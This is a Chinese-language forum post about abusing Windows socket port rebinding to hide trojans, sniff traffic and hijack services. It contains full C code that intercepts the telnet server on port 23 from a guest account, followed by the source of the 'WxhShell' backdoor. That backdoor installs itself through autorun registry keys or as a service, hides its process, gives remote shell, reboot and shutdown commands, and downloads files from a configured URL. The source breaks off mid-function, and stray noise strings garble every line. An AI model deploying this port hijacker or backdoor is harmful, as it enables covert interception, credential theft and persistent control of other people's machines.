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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H[Qh*pq2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vOqYt42  
3*FktXmI}  
  saddr.sin_family = AF_INET; 1D*e u  
)ow3Bl8w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [X-Q{c4  
"aP/214Ul  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2/;KZ+U&  
vj#gY2qZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4 Hu+ljdjB  
ALKhZFuz  
  这意味着什么?意味着可以进行如下的攻击: (Q @m;i>  
o]]Q7S=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M0^r!f>O  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,@P3!|  
.$q]<MK8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `dj/Uk  
_ p?q/-[4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { }>"f]3  
rp _G.C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X=DJOepH'  
*fjarZu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UP,(zKTA  
'8}\! i&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #a/lt^}C*  
~:JKXa?  
  #include A\=:h  AQ  
  #include 0AaN  
  #include 1s*I   
  #include    ftK.jj1:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ln3.TR*  
  int main() M]6=Rxq1:E  
  { ?"L>jr(  
  WORD wVersionRequested; 9 /9,[A  
  DWORD ret; r*WdD/r|  
  WSADATA wsaData; x[)S3U J  
  BOOL val; w("jyvV[C  
  SOCKADDR_IN saddr; #|'8O  
  SOCKADDR_IN scaddr; #Q;#A |EZ  
  int err; %2 >FSE  
  SOCKET s; C~l5D4D#  
  SOCKET sc; $CXqkK<6  
  int caddsize; \f+R!  
  HANDLE mt; MM^tk{2?.  
  DWORD tid;   .d.7D ]Yn  
  wVersionRequested = MAKEWORD( 2, 2 ); 1z8.wdWJ}  
  err = WSAStartup( wVersionRequested, &wsaData ); wv1?v_4  
  if ( err != 0 ) { /1O6;'8He  
  printf("error!WSAStartup failed!\n"); ~ 9'64  
  return -1; UH[ YH;3O  
  } [7$<sN<'  
  saddr.sin_family = AF_INET;  s cn!,  
   ^6Xio6W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `RjcJ?r  
xvgIYc{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N'^ 0:zK:  
  saddr.sin_port = htons(23); 0ai4%=d-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {(t (}-:Z  
  { S;CT:kG6Y{  
  printf("error!socket failed!\n"); ,,@_r&f:  
  return -1; &*0!${ B  
  } of(Nq@  
  val = TRUE; Ir]b. 6B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y\j &84  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6_9w1 ,W E  
  { \ 0:ITz  
  printf("error!setsockopt failed!\n"); AjZT- Q0L  
  return -1; IPJs$PtKok  
  } 0V1kZ.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J H$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uz*C`T0:rj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oE5+   
+[*UC"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }p "HD R>  
  { h; {?z  
  ret=GetLastError(); 2*Gl|@~N  
  printf("error!bind failed!\n"); (spX3n%p  
  return -1; XLM 9+L  
  } ;&[0 h)  
  listen(s,2); "b2Mk-qP  
  while(1) gg6&Fzp  
  { Qy15TJ  
  caddsize = sizeof(scaddr); J :,  
  //接受连接请求 V @8X .R>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \f._I+gJ  
  if(sc!=INVALID_SOCKET) }p&aI?-B  
  { J\2F%kBej?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ef7 Kx49I  
  if(mt==NULL) 654PW9{(  
  { m 81\cg  
  printf("Thread Creat Failed!\n"); % 3FI>\3  
  break; !3Pl]S~6!  
  } hf%W grO.  
  } ib& |271gG  
  CloseHandle(mt); Q>||HtF$A  
  } &M<431y  
  closesocket(s); 1f~_# EIC  
  WSACleanup(); ZtIK"o-|!  
  return 0; L@v0C)  
  }   {x-g?HB  
  DWORD WINAPI ClientThread(LPVOID lpParam) V1(eebi|  
  { NbgP,-  
  SOCKET ss = (SOCKET)lpParam; i3f/{D/  
  SOCKET sc; 6g$+))g  
  unsigned char buf[4096]; yQ&;#`!'  
  SOCKADDR_IN saddr; t6~|T_]  
  long num; s'/ug  
  DWORD val; `.><$F  
  DWORD ret;  eYS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1no$|n#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nar=\cs~g  
  saddr.sin_family = AF_INET; =. OW sFv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D b(a;o   
  saddr.sin_port = htons(23); SR8[ 7MU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F[ 9IHT6{  
  { SUx\qz)  
  printf("error!socket failed!\n"); *6k (xL  
  return -1; c?wFEADn  
  } d{DlW |_  
  val = 100; [rGR1>U?i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s;$ eq);  
  { !a1jc_  
  ret = GetLastError(); Z73 ysn}  
  return -1; ]>x674H  
  } %f?#) 01>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <f:b%Pm 7  
  { AvH/Q_-b  
  ret = GetLastError(); Qa"R?dfr  
  return -1; pQW^lqwZ:6  
  } W6]iJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b$g.">:$  
  { :Rq@%rL  
  printf("error!socket connect failed!\n"); f61~%@fE  
  closesocket(sc); =axi0q?}  
  closesocket(ss); S0kH/A  
  return -1; _pk=IHGsB  
  } ,![C8il,  
  while(1) idz6m]{~yT  
  { BXm{x6\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Be?mIwc_g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hydn" 9;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -@AGQ+e  
  num = recv(ss,buf,4096,0); 6`%}s3Xq  
  if(num>0) r`6XF  
  send(sc,buf,num,0); 8CMI\yk  
  else if(num==0) "BEU%,w  
  break; C%G-Ye|@  
  num = recv(sc,buf,4096,0); [<OMv9(l'o  
  if(num>0) }8 ,b; Q  
  send(ss,buf,num,0); l$PO!JRD  
  else if(num==0) |RHX2sso  
  break; cj5p I?@e)  
  } @p}H@#/u\  
  closesocket(ss); hLO nX<%a  
  closesocket(sc); ]_5C5m  
  return 0 ; |h8C}P&Z  
  } m|e!1_ :H  
6V!yfps)  
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========================================================== LP.-  
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下边附上一个代码,,WXhSHELL *:)#'cenI  
sE]eIN  
========================================================== }|Cw]GW  
A qE,zW  
#include "stdafx.h" Bxz{rR0XV  
|0mh*+i  
#include <stdio.h> !/Hln;{  
#include <string.h> FL0[V,  
#include <windows.h> rHN>fySn7  
#include <winsock2.h> b abDLaC@  
#include <winsvc.h> 8={(Vf6  
#include <urlmon.h> mN*9X[ >x  
u{exQ[,E  
#pragma comment (lib, "Ws2_32.lib") b- %7@j  
#pragma comment (lib, "urlmon.lib") &`t-[5O\  
vk.Y2 :  
#define MAX_USER   100 // 最大客户端连接数 2VMau.eQ  
#define BUF_SOCK   200 // sock buffer (\#j3Y)r  
#define KEY_BUFF   255 // 输入 buffer Km pX^Se[  
Yb414K  
#define REBOOT     0   // 重启 u=k\]W-  
#define SHUTDOWN   1   // 关机 A#LK2II^  
Xs*~ [k'  
#define DEF_PORT   5000 // 监听端口 m6aoh^I  
)` '  
#define REG_LEN     16   // 注册表键长度 B% BO  
#define SVC_LEN     80   // NT服务名长度 tWL9>7]G  
aD 24)?db-  
// 从dll定义API > aN@)=h}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pbd#Fu;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6R dfF$f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {n #  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /vSFQ}W  
SAly~(r?/  
// wxhshell配置信息 R# mZYg  
struct WSCFG { 80l(,0`,  
  int ws_port;         // 监听端口 eAm7*2  
  char ws_passstr[REG_LEN]; // 口令 5#q ^lL  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z/:( *FC  
  char ws_regname[REG_LEN]; // 注册表键名 !(l,+@j  
  char ws_svcname[REG_LEN]; // 服务名 ojtcKw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?AYI   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k:`^KtBMl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /8J2,8vZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SJIJV6}H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $(#o)r>_R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T|ZT&x$z  
||9f@9  
}; ?W%3>A  
Wb/@~!+i`  
// default Wxhshell configuration rx|/]NE;  
struct WSCFG wscfg={DEF_PORT, JnV$)EYi  
    "xuhuanlingzhe", ",Ek| z  
    1,  //K]zu  
    "Wxhshell", !Z<Z"R/  
    "Wxhshell", w[:5uo(  
            "WxhShell Service", ra$_#HY  
    "Wrsky Windows CmdShell Service", u\s mQhQGE  
    "Please Input Your Password: ", [sACPn$f  
  1, {l\v J#r:  
  "http://www.wrsky.com/wxhshell.exe", kd!f/'E!  
  "Wxhshell.exe" i|.!*/qF  
    }; S#2 'Jw  
B>YrDJUN  
// 消息定义模块 9Ni$nZN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ho\K %#u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e[>(L%QV+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )u3<lpoTy  
char *msg_ws_ext="\n\rExit."; bZERh:%o  
char *msg_ws_end="\n\rQuit."; &{ntx~Eq  
char *msg_ws_boot="\n\rReboot..."; nb(#;3DQ  
char *msg_ws_poff="\n\rShutdown..."; /0Zwgxt4?7  
char *msg_ws_down="\n\rSave to "; ;( VJZ_  
j%~UU0(J  
char *msg_ws_err="\n\rErr!"; h9g5W'.#  
char *msg_ws_ok="\n\rOK!"; ;)c SdA9  
:m@(S6T m  
char ExeFile[MAX_PATH]; ~)sb\o  
int nUser = 0; NVJvCs)3f  
HANDLE handles[MAX_USER]; [G t|Qp[   
int OsIsNt; vnXpC!1  
<bIAq8  
SERVICE_STATUS       serviceStatus; DV{Qbe#In  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wyvs#T  
)5'S=av9  
// 函数声明 [eG- &u  
int Install(void); c|96;=z~  
int Uninstall(void); ,B!u*  
int DownloadFile(char *sURL, SOCKET wsh); cnhYrX^  
int Boot(int flag); G)'cd D1  
void HideProc(void); n8R{LjJ2@  
int GetOsVer(void); i#(T?=VPcy  
int Wxhshell(SOCKET wsl); F-UY~i8  
void TalkWithClient(void *cs); jc)D*Cf  
int CmdShell(SOCKET sock); Z</$~ T  
int StartFromService(void); *gVRMSrx4  
int StartWxhshell(LPSTR lpCmdLine); F0Rk[GM  
LD]XN'?"W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jNrGsIY$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <7?MutHM-  
9b()ck-\F#  
// 数据结构和表定义 'OkF.bs  
SERVICE_TABLE_ENTRY DispatchTable[] = v3.JG]zLpP  
{ Tw-gM-m;  
{wscfg.ws_svcname, NTServiceMain}, m|=/|Hm  
{NULL, NULL} L[##w?Xf.  
}; NWb,$/7T  
)[G5qTO  
// 自我安装 S :9zz  
int Install(void) q3 1swP  
{ :);GeZ  
  char svExeFile[MAX_PATH]; ze!7qeW  
  HKEY key; Ko2{[%  
  strcpy(svExeFile,ExeFile); mi<V(M~p  
~ hYG%  
// 如果是win9x系统,修改注册表设为自启动 5w iU4-{  
if(!OsIsNt) { vKol@7%N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ndW? ?wiM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 .t;i4  
  RegCloseKey(key); ),dXaP[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u= !?<Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] 6M- s  
  RegCloseKey(key); |c dQJW  
  return 0; |brl<*:  
    } BWfsk/lej  
  } V= !!;KR0  
} WPCaxA+l  
else { l#V"14y  
?_}[@x  
// 如果是NT以上系统,安装为系统服务 N1+%[Uh9)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %0$$tS +  
if (schSCManager!=0) cZ%weQa#N)  
{ %R-"5?eTtu  
  SC_HANDLE schService = CreateService r;I 3N+  
  ( T>.*c6I b  
  schSCManager, yG2j!D  
  wscfg.ws_svcname, V!a\:%#^Y  
  wscfg.ws_svcdisp, Et4gRS)\  
  SERVICE_ALL_ACCESS, aQ46euth  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~t.*B& A  
  SERVICE_AUTO_START, j<Lj1 P3  
  SERVICE_ERROR_NORMAL, ?b:l.0m  
  svExeFile, 2u/~#Rt&*  
  NULL, bL]*K$  
  NULL, qOqQt=ObU  
  NULL, w=e~ M  
  NULL, T&fqn!i  
  NULL ZG H2  
  ); 7rbl+:y2  
  if (schService!=0) ^<.mUaP  
  { ?8)_,  
  CloseServiceHandle(schService); m}'kxZTOm  
  CloseServiceHandle(schSCManager); CAX|[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CES^ c-. k  
  strcat(svExeFile,wscfg.ws_svcname); 7=aF-;X3jj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S XIo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wg3y y8vIW  
  RegCloseKey(key); [wj&.I{^s  
  return 0; 5BN!uUkm+  
    } ggzg, ~V  
  } ~(~fuDT~O  
  CloseServiceHandle(schSCManager); wFnIM2a,  
} ?m}vDd  
} Q]uxZ;}aF  
`h+sSIko  
return 1; !X e  
} pGc_Klq  
OjCTTz  
// 自我卸载 >RG }u  
int Uninstall(void) 4 ac2^`  
{ FI`][&]V  
  HKEY key; \/xWsbG\  
f-E]!\Pg  
if(!OsIsNt) { Rs$k3   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *&Np;^~  
  RegDeleteValue(key,wscfg.ws_regname); U^-:qT;CX  
  RegCloseKey(key); BlF>TI%2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3<88j&9  
  RegDeleteValue(key,wscfg.ws_regname); KnaQhZ  
  RegCloseKey(key); }*4XwUM e  
  return 0; D'$ki[{,  
  } vSb$gl5H  
} &}_E~jKK  
} 4onRO!G,  
else { w4\b^iJz  
f R$E*Jd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /. k4Y  
if (schSCManager!=0) d3v5^5kU  
{ %AwR4"M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); suC]  
  if (schService!=0) _VLc1svv  
  { )$p<BLU  
  if(DeleteService(schService)!=0) { MDZ,a 0?4t  
  CloseServiceHandle(schService); D1}Bn2BM$  
  CloseServiceHandle(schSCManager); Rq-BsMX!A  
  return 0; s2FJ^4  
  } {dM18;  
  CloseServiceHandle(schService); 0>} FNRC  
  }  yr9%,wwN  
  CloseServiceHandle(schSCManager); 'H+H4(  
} ..`J-k  
} ]:uJ&xUar  
xE`uFHuS}  
return 1; klmRU@D  
} xdGmiHN  
"#anL8  
// 从指定url下载文件 \bNN]=  
int DownloadFile(char *sURL, SOCKET wsh) mxt fKPb  
{ scZdDbL6+  
  HRESULT hr; BQmHYar  
char seps[]= "/"; s tvI  
char *token; kcGs2Y_*&  
char *file; =aR'S\<  
char myURL[MAX_PATH]; "& h;\hL  
char myFILE[MAX_PATH]; Y%eFXYk.  
\ t4:(Jp 3  
strcpy(myURL,sURL); *M6' GT1%c  
  token=strtok(myURL,seps); L@xag-b i  
  while(token!=NULL) *-0tj~)>  
  { !ZlBM{C  
    file=token; <\40?*2  
  token=strtok(NULL,seps); [\+"<;m$  
  } i8t%v  
 &ig6\&1  
GetCurrentDirectory(MAX_PATH,myFILE);  |e49F  
strcat(myFILE, "\\"); =qG%h5]n  
strcat(myFILE, file); _gDEIoBp  
  send(wsh,myFILE,strlen(myFILE),0); G- nS0Kn:  
send(wsh,"...",3,0); bn$a7\X-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ zM/>Qa  
  if(hr==S_OK) od\-o:bS  
return 0; O.OPIQ=?:w  
else zb<YYJ]  
return 1; B'sgCU  
R)}ab{A  
} pgNyLgN  
oZVq }}R  
// 系统电源模块 nKxu8YAJe  
int Boot(int flag) YK Cd:^u  
{ :g@H=W  
  HANDLE hToken; , gYbi-E  
  TOKEN_PRIVILEGES tkp; NHI(}Ea|]  
Js{X33^Ju  
  if(OsIsNt) { y$-;6zk\]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0_\@!#-sml  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?4QX;s7  
    tkp.PrivilegeCount = 1; m3Ma2jLWC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !mX-g]4E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2GRL`.1  
if(flag==REBOOT) { u Uy~$>V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,dyCuH!B  
  return 0;   %4  
} {|:ro!&  
else { @ ={Hx$zL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uB&um*DP  
  return 0; kF,_o/Jc  
} c-s A?q#|  
  } [yFf(>B  
  else { k+nfW]UNF  
if(flag==REBOOT) { IhRWa|{I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (j>a?dKDS  
  return 0; xMOq/" )  
} #Cy9E"lP  
else { c}$C=s5 h}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gjbSB6[  
  return 0; V1h&{D\"  
} L'A>IBrz  
} q`u^ sc  
BNj@~uC{  
return 1; !=/wpsH  
} V DN@=/  
_/\U  
// win9x进程隐藏模块 m N&G  
void HideProc(void) n^xB_DJ~  
{ \jHHj\LLr.  
%k+G-oT5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iYPlgt/Y!  
  if ( hKernel != NULL ) PKxI09B  
  { ' 5F3,/r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O3*}L2 j@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kn#CIFbBN  
    FreeLibrary(hKernel); Ow3t2G  
  } p)k5Uh"  
&%=]lP]  
return; :4\=xGiY  
} B3';Tcs  
nD5+&M0  
// 获取操作系统版本 Y<WA-dYoF  
int GetOsVer(void) XusTU  
{ k x?m "a%  
  OSVERSIONINFO winfo; # 9@K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +qiI;C_P\  
  GetVersionEx(&winfo); n@PXC8}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f [DZ  
  return 1; wV{jJyRl  
  else *~%QXNn`  
  return 0; @?/>$  
} * ujJpJZ2  
]fdxpqz  
// 客户端句柄模块 25H=RTw  
int Wxhshell(SOCKET wsl) CU+H`-+"J  
{ 86f8b{_e"  
  SOCKET wsh; %8hx3N8>  
  struct sockaddr_in client; PJn|  
  DWORD myID; eelkK,4  
c`agrS:P  
  while(nUser<MAX_USER) ?`+G0VT  
{ 9cJ1J7y  
  int nSize=sizeof(client); |e+r|i]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,T;T %/ S  
  if(wsh==INVALID_SOCKET) return 1; d&owS+B{48  
/V"6Q'D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $a.,; :  
if(handles[nUser]==0) % s),4  
  closesocket(wsh); Id<O/C  
else k"pN  
  nUser++; *a2-Vte  
  } k+% c8w 9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FE4P EBXvu  
G]k+0&X  
  return 0; 6Z>G%yK  
} `Re{j{~s  
*Me&> "N"  
// 关闭 socket HU47 S  
void CloseIt(SOCKET wsh) (p!w`MSv  
{ zk^uS#  
closesocket(wsh); +zINnX  
nUser--; `7$Sga6M  
ExitThread(0); h}n?4B~Gi  
} ZQI;b0C  
+]$c+!khj  
// 客户端请求句柄 W6!o=()  
void TalkWithClient(void *cs) "x4}FQ  
{ iw=~j  
l<8+>W`_  
  SOCKET wsh=(SOCKET)cs; -Crm#Ib~  
  char pwd[SVC_LEN]; `s|^  
  char cmd[KEY_BUFF]; ~(P\'H&(h  
char chr[1]; \]Y=*+{  
int i,j; Qk?J4 B  
n>L24rL  
  while (nUser < MAX_USER) { 3ahbv%y  
5}|bDJ$%_  
if(wscfg.ws_passstr) { ]wHXrB8vx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QqCwyK0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z1N=tL  
  //ZeroMemory(pwd,KEY_BUFF); B.F~/PET  
      i=0; T;1aL4w"  
  while(i<SVC_LEN) { f|NWn`#bY  
mXJ`t5v^l  
  // 设置超时 _`d=0l*8  
  fd_set FdRead; D`hg+64}  
  struct timeval TimeOut; 8\BYm|%aa  
  FD_ZERO(&FdRead); ^CfWLL& c  
  FD_SET(wsh,&FdRead); #'fQx`LV  
  TimeOut.tv_sec=8; a?]~Sw"@  
  TimeOut.tv_usec=0; [+(fN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c1}i|7/XSi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ewOe A|  
\o<&s{ 6L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?O.'_YS  
  pwd=chr[0]; 8umW>  
  if(chr[0]==0xd || chr[0]==0xa) { (RafidiH  
  pwd=0; abtYa  
  break; byN4?3 F  
  } H|I.h{:  
  i++; n<3{QqF  
    } DP08$Iq  
 hpOK9  
  // 如果是非法用户,关闭 socket J5L[)Gd)D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aBT8mK -.  
} 0RGqpJxk  
CQh6;[\:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |TRl >1rv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ur JR[$p  
~zc B@; :  
while(1) { CJf4b:SY@  
jVInTR0f[  
  ZeroMemory(cmd,KEY_BUFF); ofy)}/i  
wY{!gQ  
      // 自动支持客户端 telnet标准   w|( ix;pK  
  j=0; .,&6 x.  
  while(j<KEY_BUFF) { IiZXIG4H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *zl-R*bM$  
  cmd[j]=chr[0]; <hB~|a<#  
  if(chr[0]==0xa || chr[0]==0xd) { 9HG"}CGZP  
  cmd[j]=0; l *]nvd_  
  break; 3}x6IM 2  
  } RWdx) qj{  
  j++; ^Kj xQO6y3  
    } :~LOw}N!aQ  
Po7oo9d  
  // 下载文件 F ,h}HlU  
  if(strstr(cmd,"http://")) { 2U rE>_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XT{o ]S~nq  
  if(DownloadFile(cmd,wsh)) 41 #YtZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2^ kK2D$o  
  else G&@vTcF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); naiy] oY"  
  } aB)G!Rm&  
  else { z18<rj  
sV-UY!   
    switch(cmd[0]) { NzC&ctPk  
  w(UZmZb}  
  // 帮助 oG' 'my#3  
  case '?': { =0mXTY1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A"Sp7M[J  
    break; R~N'5#.*M  
  } 4$Ud4<  
  // 安装 2,e>gP\]  
  case 'i': { !DZ4C.  
    if(Install()) T~)zgu%q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +W#["%kw  
    else NY\-p=3c7=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [WBU _  
    break; L]3gHq  
    } #p/'5lA&j  
  // 卸载 t[%ELHV  
  case 'r': { 9}#9i^%}  
    if(Uninstall()) &n9 srs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0s%]%2O N  
    else 31{) ~8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C)|#z/"  
    break; KJCi4O&  
    } ?jH u,  
  // 显示 wxhshell 所在路径 v.{I^=  
  case 'p': { uV\~2#o$_  
    char svExeFile[MAX_PATH]; f\c%G=y  
    strcpy(svExeFile,"\n\r"); Dt Ry%fA_  
      strcat(svExeFile,ExeFile); i$dF0.}Q  
        send(wsh,svExeFile,strlen(svExeFile),0); Rq,Fp/  
    break; dZ"d`M>o6  
    } DP=\FG"}x  
  // 重启 &C.m*^`^  
  case 'b': { ?oulQR6:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0&2eiMKG?n  
    if(Boot(REBOOT)) Q)ZbnR2Z8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %lqrq<Xn  
    else { c2Up<#t  
    closesocket(wsh); U'Fc\M5l/l  
    ExitThread(0); &OP =O*B  
    } HVaKy+RU  
    break; E9#.!re|^  
    } MVZ9x%  
  // 关机 K?X 6@u|h  
  case 'd': { R\:t 73  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t2#zQ[~X!  
    if(Boot(SHUTDOWN)) A =l1_8,`h  
